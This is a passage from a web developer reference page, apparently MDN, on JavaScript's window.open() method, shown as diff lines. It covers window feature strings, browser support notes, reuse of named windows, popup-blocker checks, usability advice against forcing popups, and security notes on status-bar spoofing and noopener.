+  windowObjectReference = window.open("http://www.cnn.com/", "CNN_WindowName", strWindowFeatures);
+}
+ +
var windowObjectReference;
+
+function openRequestedPopup() {
+  windowObjectReference = window.open(
+    "http://www.domainname.ext/path/ImageFile.png",
+    "DescriptiveWindowName",
+    "resizable,scrollbars,status"
+  );
+}
+ +

If a window with the name already exists, then strUrl is loaded into the existing window. In this case the return value of the method is the existing window and strWindowFeatures is ignored. Providing an empty string for strUrl is a way to get a reference to an open window by its name without changing the window's location. To open a new window on every call of window.open(), use the special value _blank for strWindowName.

+ +
+

Note on the use of window.open to reopen an existing window with name strWindowName : This functionality is not valid for all browsers and more with variable conditions. Firefox (50.0.1) functions as described: from the same domain+port reopen with same name will access the previously created window. Google Chrome (55.0.2883.87 m ) on the other hand will do it only from the same parent (as if the window was created dependent, which is the "opener"). This is a wide limitation and generates unbelievable complexity of development. Firefox (51.) gets the handle but cannot run any Element.focus() while Chrome can run focus() from opener to child but not between siblings nor, reverse, from child to opener. This function is the lonely key to get back the handle on a window if the developer has access only to its name (the name can be saved with cookies or local storage but not the window object handle). For now 10/01/2017 the differencies of behavior found recently have not still been tested for others Browsers.  

+
+ +

Window features

+ +

strWindowFeatures is an optional string containing a comma-separated list of requested features of the new window. After a window is opened, JavaScript can't be used to change the features. If strWindowName does not specify an existing window and the strWindowFeatures parameter is not provided (or if the strWindowFeatures parameter is an empty string), then the new secondary window will render the default toolbars of the main window.

+ +

If the strWindowFeatures parameter is used and no size features are defined, then the new window dimensions will be the same as the dimensions of the most recently rendered window.

+ +

If the strWindowFeatures parameter is used and if no position features are defined, then the left and top coordinates of the new window dimension will be 22 pixels from where the most recently rendered window was. An offset is universally implemented by browser manufacturers (it is 29 pixels in IE6 SP2 with the default theme) and its purpose is to help users to notice new windows opening. If the most recently used window was maximized, then there is no offset: the new window will be maximized as well.

+ +

If the strWindowFeatures parameter is used, the features that are not listed will be disabled or removed (except titlebar and close, which are by default yes).

+ +
+

Tip: If using the strWindowFeatures parameter, only list the features to be enabled or rendered; the others (except titlebar and close) will be disabled or removed. Note that in some browsers, users can override the strWindowFeatures settings and enable (or prevent the disabling of) features.

+
+ +

Firefox Toolbars Illustration

+ +

Position and size features

+ +
{{gecko_minversion_note("1.9.2", "Starting in Gecko 1.9.2 (Firefox 3.6), overriding the position of a window using window features will not change the persisted values saved by the session store feature. That means the next time the window is opened, it will still open in the saved location.")}}
+ +

Note on position and dimension error correction

+ +
{{bug(176320)}}
+ +

Note on precedence

+ +
+
left
+
Specifies the distance the new window is placed from the left side of the work area for applications of the user's operating system to the leftmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
+
top
+
Specifies the distance the new window is placed from the top side of the work area for applications of the user's operating system to the topmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
+
height
+
Specifies the height of the content area, viewing area of the new secondary window in pixels. The height value includes the height of the horizontal scrollbar if present. The minimum required value is 100.
+
Note on outerHeight versus height (or innerHeight)
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
+
width
+
Specifies the width of the content area, viewing area of the new secondary window in pixels. The width value includes the width of the vertical scrollbar if present. The width value does not include the sidebar if it is expanded. The minimum required value is 100.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
+
screenX
+
Deprecated. Same as left but only supported by Netscape and Mozilla-based browsers.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
screenY
+
Deprecated. Same as top but only supported by Netscape and Mozilla-based browsers.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
centerscreen
+
Centers the window in relation to its parent's size and position. Requires chrome=yes.
+
outerHeight
+
Specifies the height of the whole browser window in pixels. This outerHeight value includes any/all present toolbar, window horizontal scrollbar (if present) and top and bottom window resizing borders. Minimal required value is 100.
+
Note: since titlebar is always rendered, then requesting outerHeight=100 will make the innerHeight of the browser window under the minimal 100 pixels.
+
Note on outerHeight versus height (or innerHeight)
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
outerWidth
+
Specifies the width of the whole browser window in pixels. This outerWidth value includes the window vertical scrollbar (if present) and left and right window resizing borders.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
innerHeight
+
Same as height but only supported by Netscape and Mozilla-based browsers. Specifies the height of the content area, viewing area of the new secondary window in pixels. The innerHeight value includes the height of the horizontal scrollbar if present. Minimal required value is 100.
+
Note on outerHeight versus height (or innerHeight)
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
innerWidth
+
Same as width but only supported by Netscape and Mozilla-based browsers. Specifies the width of the content area, viewing area of the new secondary window in pixels. The innerWidth value includes the width of the vertical scrollbar if present. The innerWidth value does not include the sidebar if it is expanded. Minimal required value is 100.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
+ +

Toolbar and chrome features

+ +
+
NOTE: All features can be set to yes or 1, or just be present to be "on". Set them to no or 0, or in most cases just omit them, to be "off".
+
Example: "status=yes", "status=1", and "status" have identical results.
+
menubar
+
If this feature is on, then the new secondary window renders the menubar.
+
Mozilla and Firefox users can force new windows to always render the menubar by setting dom.disable_window_open_feature.menubar to true in about:config or in their user.js file.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
toolbar
+
If this feature is on, then the new secondary window renders the Navigation Toolbar (Back, Forward, Reload, Stop buttons). In addition to the Navigation Toolbar, Mozilla-based browsers will render the Tab Bar if it is visible, present in the parent window. (If this feature is set to no all toolbars in the window will be invisible, for example extension toolbars).
+
Mozilla and Firefox users can force new windows to always render the Navigation Toolbar by setting dom.disable_window_open_feature.toolbar to true in about:config or in their user.js file.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
location
+
If this feature is on, then the new secondary window renders the Location bar in Mozilla-based browsers. MSIE 5+ and Opera 7.x renders the Address Bar.
+
Mozilla and Firefox users can force new windows to always render the location bar by setting dom.disable_window_open_feature.location to true in about:config or in their user.js file. {{Fx_minversion_note(3, "In Firefox 3, dom.disable_window_open_feature.location now defaults to true, forcing the presence of the Location Bar much like in IE7. See bug 337344 for more information.")}}
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
+
personalbar
+
If this feature is on, then the new secondary window renders the Personal Toolbar in Netscape 6.x, Netscape 7.x and Mozilla browser. It renders the Bookmarks Toolbar in Firefox. In addition to the Personal Toolbar, Mozilla browser will render the Site Navigation Bar if such toolbar is visible, present in the parent window.
+
Mozilla and Firefox users can force new windows to always render the Personal Toolbar/Bookmarks toolbar by setting dom.disable_window_open_feature.personalbar to true in about:config or in their user.js file.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
directories {{obsolete_inline("2")}}
+
Obsolete synonym of personalbar. In IE, it rendered the Links bar. Supported in Gecko up to 1.9.2 and in IE up to 6.
+
status
+
If this feature is on, then the new secondary window has a status bar. Users can force the rendering of status bar in all Mozilla-based browsers, in MSIE 6 SP2 (Note on status bar in XP SP2) and in Opera 6+. The default preference setting in recent Mozilla-based browser releases and in Firefox 1.0 is to force the presence of the status bar.
+
Note on status bar
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
+ +

Window functionality features

+ +
+
attention {{NonStandardBadge}}
+
If this feature is specified, the window is able to open even if another application is already in the foreground. This feature is for Firefox OS applications only, and is currently restricted to certified applications. See {{SectionOnPage("/en-US/docs/Archive/B2G_OS/Firefox_OS_apps/App_permissions", "Internal (Certified) app permissions")}} for more information.
+
Supported in:
+
dependent
+
If on, the new window is said to be dependent of its parent window. A dependent window closes when its parent window closes. A dependent window is minimized on the Windows task bar only when its parent window is minimized. On Windows platforms, a dependent window does not show on the task bar. A dependent window also stays in front of the parent window.
+
Dependent windows are not implemented on MacOS X, this option will be ignored.
+
The dependent feature is currently under revision to be removed ({{Bug(214867)}})
+
In MSIE 6, the nearest equivalent to this feature is the showModelessDialog() method.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
minimizable
+
This setting can only apply to dialog windows; "minimizable" requires dialog=yes. If minimizable is on, the new dialog window will have a minimize system command icon in the titlebar and it will be minimizable. Any non-dialog window is always minimizable and minimizable=no will be ignored.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
fullscreen
+
Do not use. Not implemented in Mozilla. There are no plans to implement this feature in Mozilla.
+
This feature no longer works in MSIE 6 SP2 the way it worked in MSIE 5.x. The Windows taskbar, as well as the titlebar and the status bar of the window are not visible, nor accessible when fullscreen is enabled in MSIE 5.x.
+
fullscreen always upsets users with large monitor screen or with dual monitor screen. Forcing fullscreen onto other users is also extremely unpopular and is considered an outright rude attempt to impose web author's viewing preferences onto users.
+
Note on fullscreen
+
Supported in: Internet Explorer 5+
+
fullscreen does not really work in MSIE 6 SP2.
+
noopener
+
If this feature is set, the newly-opened window will open as normal, except that it will not have access back to the originating window (via {{domxref("Window.opener")}} — it returns null). In addition, the window.open() call will also return null, so the originating window will not have access to the new one either.  This is useful for preventing untrusted sites opened via window.open() from tampering with the originating window, and vice versa.
+
Note that when noopener is used, nonempty target names other than _top, _self, and _parent are all treated like _blank in terms of deciding whether to open a new window/tab.
+
+ This is supported in modern browsers including Chrome, and Firefox 52+. See rel="noopener" for more information and for browser compatibility details, including information about ancillary effects.
+
resizable
+
If this feature is on, the new secondary window will be resizable.
+
Note: Starting with version 1.4, Mozilla-based browsers have a window resizing grippy at the right end of the status bar, this ensures that users can resize the browser window even if the web author requested this secondary window to be non-resizable. In such case, the maximize/restore icon in the window's titlebar will be disabled and the window's borders won't allow resizing but the window will still be resizable via that grippy in the status bar. +

Starting with Firefox 3, secondary windows are always resizable ({{Bug(177838)}})

+ +
+

Tip: For accessibility reasons, it is strongly recommended to set this feature always on

+
+
+
Mozilla and Firefox users can force new windows to be easily resizable by setting dom.disable_window_open_feature.resizable to true in about:config or in their user.js file.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
scrollbars
+
If this feature is on, the new secondary window will show horizontal and/or vertical scrollbar(s) if the document doesn't fit into the window's viewport. +
+

Tip: For accessibility reasons, it is strongly encouraged to set this feature always on.

+
+
+
Mozilla and Firefox users can force this option to be always enabled for new windows by setting {{pref("dom.disable_window_open_feature.scrollbars")}} to true in about:config or in their user.js file. Starting in Firefox 49, this feature is on by default, and the {{pref("dom.disable_window_open_feature.scrollbars")}} preference has been removed.
+
Note on scrollbars
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
+ +

Features requiring privileges

+ +

The following features require the UniversalBrowserWrite privilege, otherwise they will be ignored. Chrome scripts have this privilege automatically, others have to request it from the PrivilegeManager.

+ +
+
chrome
+
Note: Starting with Mozilla 1.7/Firefox 0.9, this feature requires the UniversalBrowserWrite privilege ({{Bug(244965)}}). Without this privilege, it is ignored.
+
If on, the page is loaded as window's only content, without any of the browser's interface elements. There will be no context menu defined by default and none of the standard keyboard shortcuts will work. The page is supposed to provide a user interface of its own, usually this feature is used to open XUL documents (standard dialogs like the JavaScript Console are opened this way).
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
dialog
+
Note: Starting with Firefox 44, this feature can only be used with chrome privileges. If content attempts to toggle this feature, it will be ignored.
+
MenuSystemCommands.png The dialog feature removes all icons (restore, minimize, maximize) from the window's titlebar, leaving only the close button. Mozilla 1.2+ and Netscape 7.1 will render the other menu system commands (in FF 1.0 and in NS 7.0x, the command system menu is not identified with the Firefox/NS 7.0x icon on the left end of the titlebar: that's probably a bug. You can access the command system menu with a right-click on the titlebar). Dialog windows are windows which have no minimize system command icon and no maximize/restore down system command icon on the titlebar nor in correspondent menu item in the command system menu. They are said to be dialog because their normal, usual purpose is to only notify info and to be dismissed, closed. On Mac systems, dialog windows have a different window border and they may get turned into a sheet.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
modal
+
Note: Starting with Mozilla 1.2.1, this feature requires the UniversalBrowserWrite privilege ({{Bug(180048)}}). Without this privilege, it is ignored.
+
If on, the new window is said to be modal. The user cannot return to the main window until the modal window is closed. A typical modal window is created by the alert() function.
+
The exact behavior of modal windows depends on the platform and on the Mozilla release version. +
+

Note: As of {{Gecko("1.9")}}, the Internet Explorer equivalent to this feature is the {{domxref("window.showModalDialog()")}} method. For compatibility reasons, it's now supported in Firefox. Note also that starting in {{Gecko("2.0")}}, you can use {{domxref("window.showModalDialog()")}} without UniversalBrowserWrite privileges.

+
+
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
titlebar
+
By default, all new secondary windows have a titlebar. If set to no or 0, this feature removes the titlebar from the new secondary window.
+
Mozilla and Firefox users can force new windows to always render the titlebar by setting
+ dom.disable_window_open_feature.titlebar
+ to true in about:config or in their user.js file.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
alwaysRaised
+
If on, the new window will always be displayed on top of other browser windows, regardless of whether it is active or not.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
alwaysLowered
+
If on, the new created window floats below, under its own parent when the parent window is not minimized. alwaysLowered windows are often referred as pop-under windows. The alwaysLowered window can not be on top of the parent but the parent window can be minimized. In NS 6.x, the alwaysLowered window has no minimize system command icon and no restore/maximize system command.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
z-lock
+
Same as alwaysLowered.
+
close
+
When set to no or 0, this feature removes the system close command icon and system close menu item. It will only work for dialog windows (dialog feature set). close=no will override minimizable=yes.
+
Mozilla and Firefox users can force new windows to always have a close button by setting
+ dom.disable_window_open_feature.close
+ to true in about:config or in their user.js file.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
+ +

The position and size feature elements require a number to be set. The toolbars and window functionalities can be set with a yes or no; you can use 1 instead of yes and 0 instead of no. The toolbar and functionality feature elements also accept the shorthand form: you can turn a feature on by simply listing the feature name in the features string. If you supply the features parameter, then the titlebar and close are still yes by default, but the other features which have a yes/no choice will be no by default and will be turned off.

+ +

Example:

+ +
var windowObjectReference; // global variable
+
+function openRequestedPopup() {
+  windowObjectReference = window.open(
+    "http://www.domainname.ext/path/ImgFile.png",
+    "DescriptiveWindowName",
+    "width=420,height=230,resizable,scrollbars=yes,status=1"
+  );
+}
+ +

In this example, the window will be resizable, it will render scrollbar(s) if needed, if the content overflows requested window dimensions and it will render the status bar. It will not render the menubar nor the location bar. Since the author knew about the size of the image (400 pixels wide and 200 pixels high), they added the margins applied to the root element in MSIE 6 which is 15 pixels for top margin, 15 pixels for the bottom margin, 10 pixels for the left margin and 10 pixels for the right margin.

+ +

Best practices

+ +
<script type="text/javascript">
+var windowObjectReference = null; // global variable
+
+function openFFPromotionPopup() {
+  if(windowObjectReference == null || windowObjectReference.closed)
+  /* if the pointer to the window object in memory does not exist
+     or if such pointer exists but the window was closed */
+
+  {
+    windowObjectReference = window.open("http://www.spreadfirefox.com/",
+   "PromoteFirefoxWindowName", "resizable,scrollbars,status");
+    /* then create it. The new window will be created and
+       will be brought on top of any other window. */
+  }
+  else
+  {
+    windowObjectReference.focus();
+    /* else the window reference must exist and the window
+       is not closed; therefore, we can bring it back on top of any other
+       window with the focus() method. There would be no need to re-create
+       the window or to reload the referenced resource. */
+  };
+}
+</script>
+
+(...)
+
+<p><a
+ href="http://www.spreadfirefox.com/"
+ target="PromoteFirefoxWindowName"
+ onclick="openFFPromotionPopup(); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+>Promote Firefox adoption</a></p>
+
+ +

The above code solves a few usability problems related to links opening secondary window. The purpose of the return false in the code is to cancel default action of the link: if the onclick event handler is executed, then there is no need to execute the default action of the link. But if javascript support is disabled or non-existent on the user's browser, then the onclick event handler is ignored and the browser loads the referenced resource in the target frame or window that has the name "PromoteFirefoxWindowName". If no frame nor window has the name "PromoteFirefoxWindowName", then the browser will create a new window and will name it "PromoteFirefoxWindowName".

+ +

More reading on the use of the target attribute:

+ +

HTML 4.01 Target attribute specifications

+ +

How do I create a link that opens a new window?

+ +

You can also parameterize the function to make it versatile, functional in more situations, therefore re-usable in scripts and webpages:

+ +
<script type="text/javascript">
+var windowObjectReference = null; // global variable
+
+function openRequestedPopup(strUrl, strWindowName) {
+  if(windowObjectReference == null || windowObjectReference.closed) {
+    windowObjectReference = window.open(strUrl, strWindowName,
+           "resizable,scrollbars,status");
+  } else {
+    windowObjectReference.focus();
+  };
+}
+</script>
+
+(...)
+
+<p><a
+ href="http://www.spreadfirefox.com/"
+ target="PromoteFirefoxWindow"
+ onclick="openRequestedPopup(this.href, this.target); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+>Promote Firefox adoption</a></p>
+
+ +

You can also make such function able to open only 1 secondary window and to reuse such single secondary window for other links in this manner:

+ +
<script type="text/javascript">
+var windowObjectReference = null; // global variable
+var PreviousUrl; /* global variable which will store the
+                    url currently in the secondary window */
+
+function openRequestedSinglePopup(strUrl) {
+  if(windowObjectReference == null || windowObjectReference.closed) {
+    windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+         "resizable,scrollbars,status");
+  } else if(PreviousUrl != strUrl) {
+    windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+      "resizable=yes,scrollbars=yes,status=yes");
+    /* if the resource to load is different,
+       then we load it in the already opened secondary window and then
+       we bring such window back on top/in front of its parent window. */
+    windowObjectReference.focus();
+  } else {
+    windowObjectReference.focus();
+  };
+
+  PreviousUrl = strUrl;
+  /* explanation: we store the current url in order to compare url
+     in the event of another call of this function. */
+}
+</script>
+
+(...)
+
+<p><a
+ href="http://www.spreadfirefox.com/"
+ target="SingleSecondaryWindowName"
+ onclick="openRequestedSinglePopup(this.href); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+>Promote Firefox adoption</a></p>
+
+<p><a
+ href="http://www.mozilla.org/support/firefox/faq"
+ target="SingleSecondaryWindowName"
+ onclick="openRequestedSinglePopup(this.href); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+>Firefox FAQ</a></p>
+
+ +

FAQ

+ +
+
How can I prevent the confirmation message asking the user whether they want to close the window?
+
You can not. New windows not opened by javascript can not as a rule be closed by JavaScript. The JavaScript Console in Mozilla-based browsers will report the warning message: "Scripts may not close windows that were not opened by script." Otherwise the history of URLs visited during the browser session would be lost.
+
More on the window.close() method
+
How can I bring back the window if it is minimized or behind another window?
+
First check for the existence of the window object reference of such window and if it exists and if it has not been closed, then use the focus() method. There is no other reliable way. You can examine an example explaining how to use the focus() method.
+
How do I force a maximized window?
+
You cannot. All browser manufacturers try to make the opening of new secondary windows noticed by users and noticeable by users to avoid confusion, to avoid disorienting users.
+
How do I turn off window resizability or remove toolbars?
+
You cannot force this. Users with Mozilla-based browsers have absolute control over window functionalities like resizability, scrollability and toolbars presence via user preferences in about:config. Since your users are the ones who are supposed to use such windows (and not you, being the web author), the best is to avoid interfering with their habits and preferences. We recommend to always set the resizability and scrollbars presence (if needed) to yes to insure accessibility to content and usability of windows. This is in the best interests of both the web author and the users.
+
How do I resize a window to fit its content?
+
You can not reliably because the users can prevent the window from being resized by unchecking the Edit/Preferences/Advanced/Scripts & Plug-ins/Allow Scripts to/ Move or resize existing windows checkbox in Mozilla or Tools/Options.../Content tab/Enable Javascript/Advanced button/Move or resize existing windows checkbox in Firefox or by setting dom.disable_window_move_resize to true in about:config or by editing accordingly their user.js file.
+
In general, users usually disable moving and resizing of existing windows because allowing authors' scripts to do so has been abused overwhelmingly in the past and the rare scripts that do not abuse such feature are often wrong, inaccurate when resizing the window. 99% of all those scripts disable window resizability and disable scrollbars when in fact they should enable both of these features to allow a cautious and sane fallback mechanism if their calculations are wrong.
+
The window method sizeToContent() is also disabled if the user unchecks the preference Move or resize existing windows checkbox. Moving and resizing a window remotely on the user's screen via script will very often annoy the users, will disorient the user, and will be wrong at best. The web author expects to have full control of (and can decide about) every position and size aspects of the users' browser window ... which is simply not true.
+
How do I open a referenced resource of a link in a new tab? or in a specific tab?
+
To open a resource in a new tab see Tabbed browser. Some Code snippets are available. If you are using the SDK, tabs are handled a bit differently
+
K-meleon 1.1, a Mozilla-based browser, gives complete control and power to the user regarding how links are opened. Only the user can set his advanced preferences to do that. Some advanced extensions also give Mozilla and Firefox a lot of power over how referenced resources are loaded.
+
In a few years, the target property of the CSS3 hyperlink module may be implemented (if CSS3 Hyperlink module as it is right now is approved). And even if and when this happens, you can expect developers of browsers with tab-browsing to give the user entire veto power and full control over how links can open web pages. How to open a link should always be entirely under the control of the user.
+
How do I know whether a window I opened is still open?
+
You can test for the existence of the window object reference which is the returned value in case of success of the window.open() call and then verify that windowObjectReference.closed return value is false.
+
How can I tell when my window was blocked by a popup blocker?
+
With the built-in popup blockers of Mozilla/Firefox and Internet Explorer 6 SP2, you have to check the return value of window.open(): it will be null if the window wasn't allowed to open. However, for most other popup blockers, there is no reliable way.
+
What is the JavaScript relationship between the main window and the secondary window?
+
The window.open() method gives a main window a reference to a secondary window; the opener property gives a secondary window a reference to its main window.
+
I can not access the properties of the new secondary window. I always get an error in the javascript console saying "Error: uncaught exception: Permission denied to get property <property_name or method_name>. Why is that?
+
It is because of the cross-domain script security restriction (also referred as the "Same Origin Policy"). A script loaded in a window (or frame) from a distinct origin (domain name) cannot get nor set properties of another window (or frame) or the properties of any of its HTML objects coming from another distinct origin (domain name). Therefore, before executing a script targeting a secondary window, the browser in the main window will verify that the secondary window has the same domain name.
+
More reading on the cross-domain script security restriction: http://www.mozilla.org/projects/secu...me-origin.html
+
+ +

Usability issues

+ +

Avoid resorting to window.open()

+ +

Generally speaking, it is preferable to avoid resorting to window.open() for several reasons:

+ + + + + +

If you want to offer to open a link in a new window, then follow tested and recommendable usability and accessibility guidelines:

+ + + +

"javascript:" links break accessibility and usability of webpages in every browser.

+ + + +

Further reading:

+ + + +

Never use <a href="#" onclick="window.open(...);">

+ +

Such pseudo-link also breaks accessibility of links. Always use a real URL for the href attribute value so that if javascript support is disabled or inexistent or if the user agent does not support opening of secondary window (like MS-Web TV, text browsers, etc), then such user agents will still be able to load the referenced resource according to its default mode of opening/handling a referenced resource. This form of code also interferes with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, Ctrl+Enter on links, "mouse gestures" features.

+ + + +

Identify links that will open new windows in a way that helps navigation for users by coding the title attribute of the link, by adding an icon at the end of the link or by coding the cursor accordingly.

+ +

The purpose is to warn users in advance of context changes to minimize confusion on the user's part: changing the current window or popping up new windows can be very disorienting to users (Back toolbar button is disabled).

+ +
+

"Users often don't notice that a new window has opened, especially if they are using a small monitor where the windows are maximized to fill up the screen. So a user who tries to return to the origin will be confused by a grayed out Back button."
+ quote from The Top Ten New Mistakes of Web Design: 2. Opening New Browser Windows, Jakob Nielsen, May 1999

+
+ +

When extreme changes in context are explicitly identified before they occur, then the users can determine if they wish to proceed or so they can be prepared for the change: not only they will not be confused or feel disoriented, but more experienced users can better decide how to open such links (in a new window or not, in the same window, in a new tab or not, in "background" or not).

+ +

References

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Example "New Window" Icons & Cursors
New window icon from yahoo.comNew window icon from microsoft.comNew window icon from webaim.orgNew window icon from sun.com
New window icon from bbc.co.ukNew window icon from Accessible Internet SolutionsNew window icon from accessify.comNew window icon from webstyleguide.com
New window icon from an unknown sourceNew window icon from an unknown sourceNew window icon from an unknown sourceNew window icon from gtalbot.org
New window cursor from draig.deNew window cursor from mithgol.ru
+ +

Always use the target attribute

+ +

If javascript support is disabled or non-existent, then the user agent will create a secondary window accordingly or will render the referenced resource according to its handling of the target attribute: e.g. some user agents which can not create new windows, like MS Web TV, will fetch the referenced resource and append it at the end of the current document. The goal and the idea is to try to provide - not impose - to the user a way to open the referenced resource, a mode of opening the link. Your code should not interfere with the features of the browser at the disposal of the user and your code should not interfere with the final decision resting with the user.

+ +

Do not use target="_blank"

+ +

Always provide a meaningful name to your target attribute and try to reuse such target attribute in your page so that a click on another link may load the referenced resource in an already created and rendered window (therefore speeding up the process for the user) and therefore justifying the reason (and user system resources, time spent) for creating a secondary window in the first place. Using a single target attribute value and reusing it in links is much more user resources friendly as it only creates one single secondary window which is recycled. On the other hand, using "_blank" as the target attribute value will create several new and unnamed windows on the user's desktop which can not be recycled, reused. In any case, if your code is well done, it should not interfere with the user's final choice but rather merely offer him more choices, more ways to open links and more power to the tool he's using (a browser).

+ +

Glossary

+ +
+
Opener window, parent window, main window, first window
+
Terms often used to describe or to identify the same window. It is the window from which a new window will be created. It is the window on which the user clicked a link which lead to the creation of another, new window.
+
Sub-window, child window, secondary window, second window
+
Terms often used to describe or to identify the same window. It is the new window which was created.
+
Unrequested popup windows
+
Script-initiated windows opening automatically without the user's consent.
+
+ +

Specification

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'window-object.html#dom-open', 'Window.open()')}}{{Spec2('HTML WHATWG')}} 
{{ SpecName('CSSOM View', '#the-features-argument-to-the-open()-method', 'The features argument to the open() method') }}{{ Spec2('CSSOM View') }}Defines the effect of the features argument
+ +

Browser Compatibility

+ + + +

{{Compat("api.Window.open")}}

+ +

Notes

+ +

Note on precedence

+ +

In cases where left and screenX (and/or top and screenY) have conflicting values, then left and top have precedence over screenX and screenY respectively. If left and screenX (and/or top and screenY) are defined in the features list, then left (and/or top) will be honored and rendered. In the following example the new window will be positioned at 100 pixels from the left side of the work area for applications of the user's operating system, not at 200 pixels.

+ +
windowObjectReference = window.open(
+  "http://news.bbc.co.uk/",
+  "BBCWorldNewsWindowName",
+  "left=100,screenX=200,resizable,scrollbars,status"
+);
+ +

If left is set but top has no value and screenY has a value, then left and screenY will be the coordinate positioning values of the secondary window.

+ +

outerWidth has precedence over width and width has precedence over innerWidth. outerHeight has precedence over height and height has precedence over innerHeight. In the following example, Mozilla-browsers will create a new window with an outerWidth of 600 pixels wide and will ignore the request of a width of 500 pixels and will also ignore the request of an innerWidth of 400 pixels.

+ +
windowObjectReference = window.open(
+  "http://www.wwf.org/",
+  "WWildlifeOrgWindowName",
+  "outerWidth=600,width=500,innerWidth=400,resizable,scrollbars,status"
+);
+ +

Note on position and dimension error correction

+ +

Requested position and requested dimension values in the features list will not be honored and will be corrected if any of such requested value does not allow the entire browser window to be rendered within the work area for applications of the user's operating system. No part of the new window can be initially positioned offscreen. This is by default in all Mozilla-based browser releases.

+ +

MSIE 6 SP2 has a similar error correction mechanism but it is not activated by default in all security levels: a security setting can disable such error correction mechanism.

+ +

Note on scrollbars

+ +

When content overflows window viewport dimensions, then scrollbar(s) (or some scrolling mechanism) are necessary to ensure that content can be accessed by users. Content can overflow window dimensions for several reasons which are outside the control of web authors:

+ + + +

Note on status bar

+ +

You should assume that a large majority of browsers will have the status bar or that a large majority of users will want to force the status bar presence: best is to always set this feature to yes. Also, if you specifically request to remove the status bar, then Firefox users will not be able to view the Site Navigation toolbar if it is installed. In Mozilla and in Firefox, all windows with a status bar have a window resizing grippy at its right-most side. The status bar also provides info on http connection, hypertext resource location, download progress bar, encryption/secure connection info with SSL connection (displaying a yellow padlock icon), internet/security zone icons, privacy policy/cookie icon, etc. Removing the status bar usually removes a lot of functionality, features and information considered useful (and sometimes vital) by the users.

+ +

Note on security issues of the status bar presence

+ +

In MSIE 6 for XP SP2: For windows opened using window.open():

+ +
+

"For windows opened using window.open():
+ Expect the status bar to be present, and code for it. The status bar will be on by default and is 20-25 pixels in height. (...)"
+ quote from Fine-Tune Your Web Site for Windows XP Service Pack 2, Browser Window Restrictions in XP SP2

+
+ +
+

"(...) windows that are created using the window.open() method can be called by scripts and used to spoof a user interface or desktop or to hide malicious information or activity by sizing the window so that the status bar is not visible.
+ Internet Explorer windows provide visible security information to the user to help them ascertain the source of the Web page and the security of the communication with that page. When these elements are not in view, the user might think they are on a more trusted page or interacting with a system process when they are actually interacting with a malicious host. (...)
+ Script-initiated windows will be displayed fully, with the Internet Explorer title bar and status bar. (...)
+ Script management of Internet Explorer status bar
+ Detailed description
+ Internet Explorer has been modified to not turn off the status bar for any windows. The status bar is always visible for all Internet Explorer windows. (...) Without this change, windows that are created using the window.open() method can be called by scripts and spoof a user interface or desktop or hide malicious information or activity by hiding important elements of the user interface from the user.
+ The status bar is a security feature of Internet Explorer windows that provides Internet Explorer security zone information to the user. This zone cannot be spoofed (...)"
+ quote from Changes to Functionality in Microsoft Windows XP Service Pack 2, Internet Explorer Window Restrictions

+
+ +

Note on fullscreen

+ +

In MSIE 6 for XP SP2:

+ + + +

References:

+ + + +

Note on outerHeight versus height

+ +

innerHeight vs outerHeight illustration

+ +

Note on refreshing vs. opening a new window/tab

+ +

If the strWindowName parameter is omitted, a new window or tab is opened. If a window with the same name already exists, the existing window is refreshed.

+ +
//Always opens a new window/tab
+window.open("map.php");
+
+//Refreshes an existing window/tab that was opened with the same name, if one exists
+window.open("map.php", "BiggerMap");
+ +

